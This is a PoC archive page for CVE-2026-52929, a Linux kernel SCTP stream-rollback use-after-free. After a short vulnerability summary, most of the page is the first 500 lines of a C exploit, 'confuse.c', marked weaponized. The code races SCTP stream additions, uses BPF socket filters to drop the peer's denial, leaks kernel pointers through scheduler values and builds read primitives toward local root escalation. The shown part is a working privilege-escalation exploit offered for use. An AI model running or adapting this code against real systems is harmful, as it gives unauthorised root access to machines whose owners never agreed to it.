PoC Archive PoC Archive
CVE-2026-52929 category: binary CVSS 7.8 (HIGH)
Unverified

Linux SCTP Stream Rollback UAF LPE (CVE-2026-52929)

Published: 2026-09-04 • Researcher: Nebula Security (NebuSec / CyberMeowfia)

Target software Linux kernel (SCTP stream subsystem)
Affected versions Ubuntu 26.04 (kernel 7.0.0-28)
Status Weaponized
Severity High · CVSS 7.8
CVSS 7.8/10
Severity
High
CVE
CVE-2026-52929
Category
binary
Affected product
Linux kernel (SCTP stream subsystem)
Affected versions
Ubuntu 26.04 (kernel 7.0.0-28)
Disclosed
2026-09-04
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-09-04
Author / ResearcherNebula Security (NebuSec / CyberMeowfia)
CVE / AdvisoryCVE-2026-52929
Categorybinary
SeverityHigh
CVSS Score7.8
StatusWeaponized
TagsLPE, Linux kernel, SCTP, stream, rollback, UAF, Ubuntu, C

Affected Target

FieldValue
Software / SystemLinux kernel (SCTP stream subsystem)
Versions AffectedUbuntu 26.04 (kernel 7.0.0-28)
Language / PlatformC, Linux
Authentication RequiredYes (local unprivileged shell)
Network Access RequiredLocal only

Summary

CVE-2026-52929 is a use-after-free in the Linux kernel SCTP stream subsystem caused by incomplete rollback when an add-stream operation is denied. Nebula Security developed a weaponized exploit (named “confuse”) that races SCTP association setup against stream configuration changes to trigger the UAF and achieve privilege escalation.

Vulnerability Details

Root Cause

The SCTP stream add-stream rollback path fails to fully clean up state when a request is denied, leaving dangling references that can be triggered via subsequent operations on the association.

Attack Vector

  1. Create SCTP associations with crafted stream parameters
  2. Race stream addition with denial conditions to trigger incomplete rollback
  3. Use BPF socket filters and thread races for controlled heap manipulation
  4. Achieve privilege escalation through controlled UAF

Impact

Local privilege escalation to root on Ubuntu 26.04 with kernel 7.0.0-28.

References

Notes

Auto-ingested from https://github.com/NebuSec/CyberMeowfia on 2026-09-04.

confuse.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
/*
 * Copyright 2026 Nebula Security
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 * SPDX-License-Identifier: Apache-2.0
 */

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/sctp.h>
#include <linux/capability.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define NDISC 128
#define NQREAD 4
#define NARBPROBE 4
#define NSCAN (NDISC + NQREAD + NARBPROBE)
#define NTARGET 88
#define NADD (NSCAN + NTARGET)
#define NGROOM 128
#define NPRIM_READERS 8
#define NVICTIMS 4
#define NREADERS (NPRIM_READERS + NVICTIMS)
#define NEBUSEC_DISCOVERY UINT16_C(0x5f6e)
#define NEBUSEC_TARGET_BASE UINT16_C(0x6562)
#define NEBUSEC_PRIO UINT16_C(0x7365)

/* linux/filter.h is not shipped by the minimal musl wrapper in this
 * workspace.  These are the stable classic-BPF socket ABI definitions. */
struct sock_filter {
	uint16_t code;
	uint8_t jt;
	uint8_t jf;
	uint32_t k;
};
struct sock_fprog {
	uint16_t len;
	struct sock_filter *filter;
};
#define BPF_RET 0x06
#define BPF_K 0x00
#define BPF_STMT(code_, k_) { (uint16_t)(code_), 0, 0, (k_) }

static volatile int stop_threads;

static void die(const char *s)
{
	perror(s);
	exit(1);
}

static void set_cpu(int cpu)
{
	cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	(void)sched_setaffinity(0, sizeof(set), &set);
}

static int assoc_opt(int fd, int opt, uint32_t value)
{
	struct sctp_assoc_value av = { .assoc_id = 0, .assoc_value = value };
	return setsockopt(fd, IPPROTO_SCTP, opt, &av, sizeof(av));
}

static int stream_set(int fd, uint16_t sid, uint16_t value)
{
	struct sctp_stream_value sv = {
		.assoc_id = 0, .stream_id = sid, .stream_value = value,
	};
	return setsockopt(fd, IPPROTO_SCTP, SCTP_STREAM_SCHEDULER_VALUE,
			  &sv, sizeof(sv));
}

static int stream_get(int fd, uint16_t sid, uint16_t *value)
{
	struct sctp_stream_value sv = { .assoc_id = 0, .stream_id = sid };
	socklen_t len = sizeof(sv);
	int ret = getsockopt(fd, IPPROTO_SCTP, SCTP_STREAM_SCHEDULER_VALUE,
			     &sv, &len);
	*value = sv.stream_value;
	return ret;
}

static int out_streams(int fd)
{
	struct sctp_status st = {0};
	socklen_t len = sizeof(st);
	if (getsockopt(fd, IPPROTO_SCTP, SCTP_STATUS, &st, &len))
		return -errno;
	return st.sstat_outstrms;
}

static ssize_t send_sid_flags(int fd, uint16_t sid, const void *buf, size_t len,
			      int flags)
{
	char ctrl[CMSG_SPACE(sizeof(struct sctp_sndrcvinfo))] = {0};
	struct iovec iov = { .iov_base = (void *)buf, .iov_len = len };
	struct msghdr msg = {
		.msg_iov = &iov, .msg_iovlen = 1,
		.msg_control = ctrl, .msg_controllen = sizeof(ctrl),
	};
	struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
	struct sctp_sndrcvinfo *si;
	cm->cmsg_level = IPPROTO_SCTP;
	cm->cmsg_type = SCTP_SNDRCV;
	cm->cmsg_len = CMSG_LEN(sizeof(*si));
	si = (void *)CMSG_DATA(cm);
	si->sinfo_stream = sid;
	return sendmsg(fd, &msg, MSG_DONTWAIT | MSG_NOSIGNAL | flags);
}

static ssize_t send_sid(int fd, uint16_t sid, const void *buf, size_t len)
{
	return send_sid_flags(fd, sid, buf, len, 0);
}

static ssize_t send_sid_ttl(int fd, uint16_t sid, const void *buf, size_t len,
			    uint32_t ttl)
{
	char ctrl[CMSG_SPACE(sizeof(struct sctp_sndrcvinfo))] = {0};
	struct iovec iov = { .iov_base = (void *)buf, .iov_len = len };
	struct msghdr msg = {
		.msg_iov = &iov, .msg_iovlen = 1,
		.msg_control = ctrl, .msg_controllen = sizeof(ctrl),
	};
	struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
	struct sctp_sndrcvinfo *si;

	cm->cmsg_level = IPPROTO_SCTP;
	cm->cmsg_type = SCTP_SNDRCV;
	cm->cmsg_len = CMSG_LEN(sizeof(*si));
	si = (void *)CMSG_DATA(cm);
	si->sinfo_stream = sid;
	si->sinfo_flags = SCTP_PR_SCTP_TTL;
	si->sinfo_timetolive = ttl;
	return sendmsg(fd, &msg, MSG_DONTWAIT | MSG_NOSIGNAL);
}

/* Keep the peer's denial out of the association until the transient-stream
 * chunks have expired.  Classic socket filters are unprivileged and affect
 * only receives on this socket; the request and local outqueue still run.
 */
static int drop_incoming(int fd)
{
	struct sock_filter insn[] = {
		BPF_STMT(BPF_RET | BPF_K, 0),
	};
	struct sock_fprog prog = {
		.len = sizeof(insn) / sizeof(insn[0]), .filter = insn,
	};
	return setsockopt(fd, SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog));
}

static int accept_incoming(int fd)
{
	int one = 1;
	return setsockopt(fd, SOL_SOCKET, SO_DETACH_FILTER, &one, sizeof(one));
}

static void *drain_socket(void *arg)
{
	int fd = *(int *)arg;
	char buf[65536];
	set_cpu(0);
	while (!stop_threads) {
		ssize_t n = recv(fd, buf, sizeof(buf), MSG_DONTWAIT);
		if (n < 0 && errno != EAGAIN && errno != EINTR)
			break;
		if (n <= 0)
			sched_yield();
	}
	return NULL;
}

static void *lock_sender(void *arg)
{
	int fd = *(int *)arg;
	static char buf[4096];
	struct iovec iov[1];
	struct msghdr msg = { .msg_iov = iov, .msg_iovlen = 1 };
	memset(buf, '_', sizeof(buf));
	iov[0].iov_base = buf;
	iov[0].iov_len = sizeof(buf);
	set_cpu(1);
	while (!stop_threads) {
		ssize_t n = sendmsg(fd, &msg, MSG_DONTWAIT | MSG_NOSIGNAL);
		usleep(n < 0 ? 10000 : 1000);
	}
	return NULL;
}

static int transient_add(int fd, int base)
{
	struct sctp_add_streams add = {
		.sas_assoc_id = 0, .sas_outstrms = NADD,
	};
	for (int i = 0; i < 200000; i++) {
		int ret = setsockopt(fd, IPPROTO_SCTP, SCTP_ADD_STREAMS,
				     &add, sizeof(add));
		int now = out_streams(fd);
		if (!ret && now == base + NADD) {
			printf("transient base=%d now=%d try=%d\n", base, now, i);
			return 0;
		}
		if (!(i & 0xfff))
			printf("retry add i=%d ret=%d errno=%d now=%d\n",
			       i, ret, errno, now);
	}
	return -1;
}

static int wait_outcnt(int fd, int wanted)
{
	for (int i = 0; i < 100000; i++) {
		int now = out_streams(fd);
		if (now == wanted)
			return 0;
		usleep(100);
	}
	return -1;
}

struct exploit_ctx {
	int fd;
	uint16_t next_probe;
	int target_sid;
	uint64_t p;
	uint64_t q;
	const char *name;
};

static void expiry_flush(int fd, const char *tag)
{
	static char byte = 'e';

	usleep(20000);
	for (int i = 0; i < 4; i++)
		(void)send_sid_ttl(fd, 0, &byte, 1, 1);
	(void)tag;
}

/* Add an exact value to a stale fc_length.  A sub-frag-point SCTP user
 * message contributes payload length plus one 16-byte DATA header. */
static int send_exact_delta(int fd, uint16_t sid, uint32_t delta)
{
	static unsigned char payload[64000];
	const uint32_t max_contribution = sizeof(payload) + 16;
	uint32_t chunks, payload_left;

	if (delta < 17)
		return -1;
	chunks = (delta + max_contribution - 1) / max_contribution;
	if (17 * chunks > delta)
		return -1;
	payload_left = delta - 16 * chunks;
	for (uint32_t i = 0; i < chunks; i++) {
		uint32_t left_chunks = chunks - i - 1;
		uint32_t len = payload_left - left_chunks;

		if (len > sizeof(payload))
			len = sizeof(payload);
		for (;;) {
			if (send_sid_ttl(fd, sid, payload, len, 1) >= 0)
				break;
			if (errno != EAGAIN && errno != ENOBUFS)
				return -1;
			expiry_flush(fd, "delta pressure");
		}
		payload_left -= len;
		/* skb accounting is larger than payload bytes.  Twenty-four chunks
		 * leave sndbuf room for the four cleanup triggers above. */
		if (i % 24 == 23)
			expiry_flush(fd, "delta batch");
	}
	return payload_left ? -1 : 0;
}

static int new_client(uint16_t port)
{
	struct sockaddr_in a = { .sin_family = AF_INET, .sin_port = htons(port) };
	struct sctp_initmsg init = { .sinit_num_ostreams = 1,
		.sinit_max_instreams = 128 };
	int fd, sz = 4 << 20, one = 1;

	inet_pton(AF_INET, "127.0.0.1", &a.sin_addr);
	fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
	if (fd < 0)
		return -1;
	setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sz, sizeof(sz));
	setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &sz, sizeof(sz));
	if (setsockopt(fd, IPPROTO_SCTP, SCTP_NODELAY, &one, sizeof(one)) ||
	    setsockopt(fd, IPPROTO_SCTP, SCTP_INITMSG, &init, sizeof(init)) ||
	    assoc_opt(fd, SCTP_RECONFIG_SUPPORTED, 1) ||
	    assoc_opt(fd, SCTP_ENABLE_STREAM_RESET,
		      SCTP_ENABLE_CHANGE_ASSOC_REQ) ||
	    assoc_opt(fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO) ||
	    connect(fd, (void *)&a, sizeof(a))) {
		close(fd);
		return -1;
	}
	{
		struct sctp_status status = {0};
		socklen_t slen = sizeof(status), olen = sizeof(sz);
		(void)getsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sz, &olen);
		(void)getsockopt(fd, IPPROTO_SCTP, SCTP_STATUS, &status, &slen);
		printf("client sndbuf=%d frag_point=%u\n", sz,
		       status.sstat_fragmentation_point);
	}
	return fd;
}

static int ctx_prepare(struct exploit_ctx *ctx)
{
	static char data[4096];
	uint16_t words[4];
	int hit_probe = -1, hit_target = -1;
	uint32_t distance = 0;

	memset(data, 'n', sizeof(data));
	if (send_sid(ctx->fd, 0, data, 1) < 0)
		return -1;

	if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
		return -1;
	for (int sid = 1; sid <= NSCAN; sid++)
		if (stream_set(ctx->fd, sid, NEBUSEC_DISCOVERY))
			return -1;
	for (int j = 0; j < NTARGET; j++)
		if (stream_set(ctx->fd, NSCAN + 1 + j,
			       NEBUSEC_TARGET_BASE + j))
			return -1;
	if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) ||
	    assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_WFQ))
		return -1;

	if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
		return -1;
	for (int sid = 1; sid <= NDISC; sid++)
		if (send_sid_ttl(ctx->fd, sid, data, 64 * sid - 16, 1) < 0)
			return -1;
	expiry_flush(ctx->fd, "discover");
	if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) ||
	    assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO))
		return -1;

	if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
		return -1;
	for (int sid = 1; sid <= NDISC; sid++) {
		uint16_t v = 0;

		if (stream_get(ctx->fd, sid, &v))
			return -1;
		if (hit_probe < 0 && v >= NEBUSEC_TARGET_BASE &&
		    v < NEBUSEC_TARGET_BASE + NTARGET) {
			hit_probe = sid;
			hit_target = NSCAN + 1 + v - NEBUSEC_TARGET_BASE;
		}
	}
	if (hit_probe < 0) {
		printf("[%s] no forward priority neighbor\n", ctx->name);
		/* Keep this failed transient association frozen.  Rolling it back
		 * would release the same orphan scheduler state that the primitive
		 * deliberately preserves; later contexts are independent sockets. */
		return -2;
	}
	distance = 64 * hit_probe;
	if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) ||
	    assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_WFQ))
		return -1;

	if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
		return -1;
	for (int i = 0; i < 4; i++) {
		if (send_sid_ttl(ctx->fd, NDISC + 1 + i, data,
				      distance - 40 + 2 * i - 16, 1) < 0)
			return -1;
	}
	expiry_flush(ctx->fd, "head leak");
	if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) ||
	    assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO))
		return -1;

	if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
		return -1;
	ctx->q = 0;
	for (int i = 0; i < 4; i++) {
		if (stream_get(ctx->fd, NDISC + 1 + i, &words[i]))
			return -1;
		ctx->q |= (uint64_t)words[i] << (16 * i);
	}
	ctx->p = ctx->q - distance;
	ctx->target_sid = hit_target;
	ctx->next_probe = NDISC + NQREAD + 1;
	printf("[%s] P=%#llx Q=%#llx target=%d\n", ctx->name,
	       (unsigned long long)ctx->p, (unsigned long long)ctx->q,
	       ctx->target_sid);
	if ((ctx->q >> 48) != 0xffff) {
		printf("[%s] invalid leaked pointers\n", ctx->name);
		return -2;
	}
	if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1))
		return -1;
	return 0;
}

static int ctx_transform(struct exploit_ctx *ctx, uint64_t address, int count)
{
	uint32_t deltas[4];
	int64_t diffs[4];

	if (count < 1 || count > 4 ||
	    ctx->next_probe + count > NSCAN + 1)
		return -1;
	for (int i = 0; i < count; i++) {
		diffs[i] = (int64_t)(address + 2 * i - 40 - ctx->p);
		if (diffs[i] < 17 || diffs[i] > (256LL << 20)) {
			printf("[%s] unreachable target=%#llx P=%#llx diff=%lld\n",
			       ctx->name, (unsigned long long)address,
			       (unsigned long long)ctx->p, (long long)diffs[i]);
			return -2;
		}
		deltas[i] = diffs[i];
	}
	printf("[%s] transform address=%#llx delta=%#x probes=%u..%u\n",
	       ctx->name, (unsigned long long)address, deltas[0],
	       ctx->next_probe, ctx->next_probe + count - 1);
	if (assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_WFQ) ||
	    drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
		return -1;
	for (int i = 0; i < count; i++)
		if (send_exact_delta(ctx->fd, ctx->next_probe + i, deltas[i]))
			return -1;
	expiry_flush(ctx->fd, "arbitrary transform");
	if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) ||
	    assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO))
		return -1;
	return 0;
}

static int ctx_reachable(const struct exploit_ctx *ctx, uint64_t address)
{
	int64_t diff = (int64_t)(address - 40 - ctx->p);

	return diff >= 17 && diff <= (256LL << 20);
}

static struct exploit_ctx *choose_reader(struct exploit_ctx readers[NREADERS],
					 const int valid[NREADERS],
					 uint64_t address, int probes)
{
	struct exploit_ctx *best = NULL;
	int64_t best_diff = INT64_MAX;

	for (int i = 0; i < NREADERS; i++) {
		int64_t diff = (int64_t)(address - 40 - readers[i].p);

		if (!valid[i] || !ctx_reachable(&readers[i], address) ||
		    readers[i].next_probe + probes > NSCAN + 1)
			continue;
		if (diff < best_diff) {
			best = &readers[i];
			best_diff = diff;
		}
	}
	if (!best)
		printf("[chain] no reader reaches %#llx with %d probes\n",
		       (unsigned long long)address, probes);
	else
		printf("[chain] chose %s for %#llx diff=%lld\n", best->name,
		       (unsigned long long)address, (long long)best_diff);
	return best;
}

static int ctx_read64(struct exploit_ctx *ctx, uint64_t address,
		      int queue_target, int leave_active, uint64_t *result)
Showing 500 of 771 lines View full file on GitHub →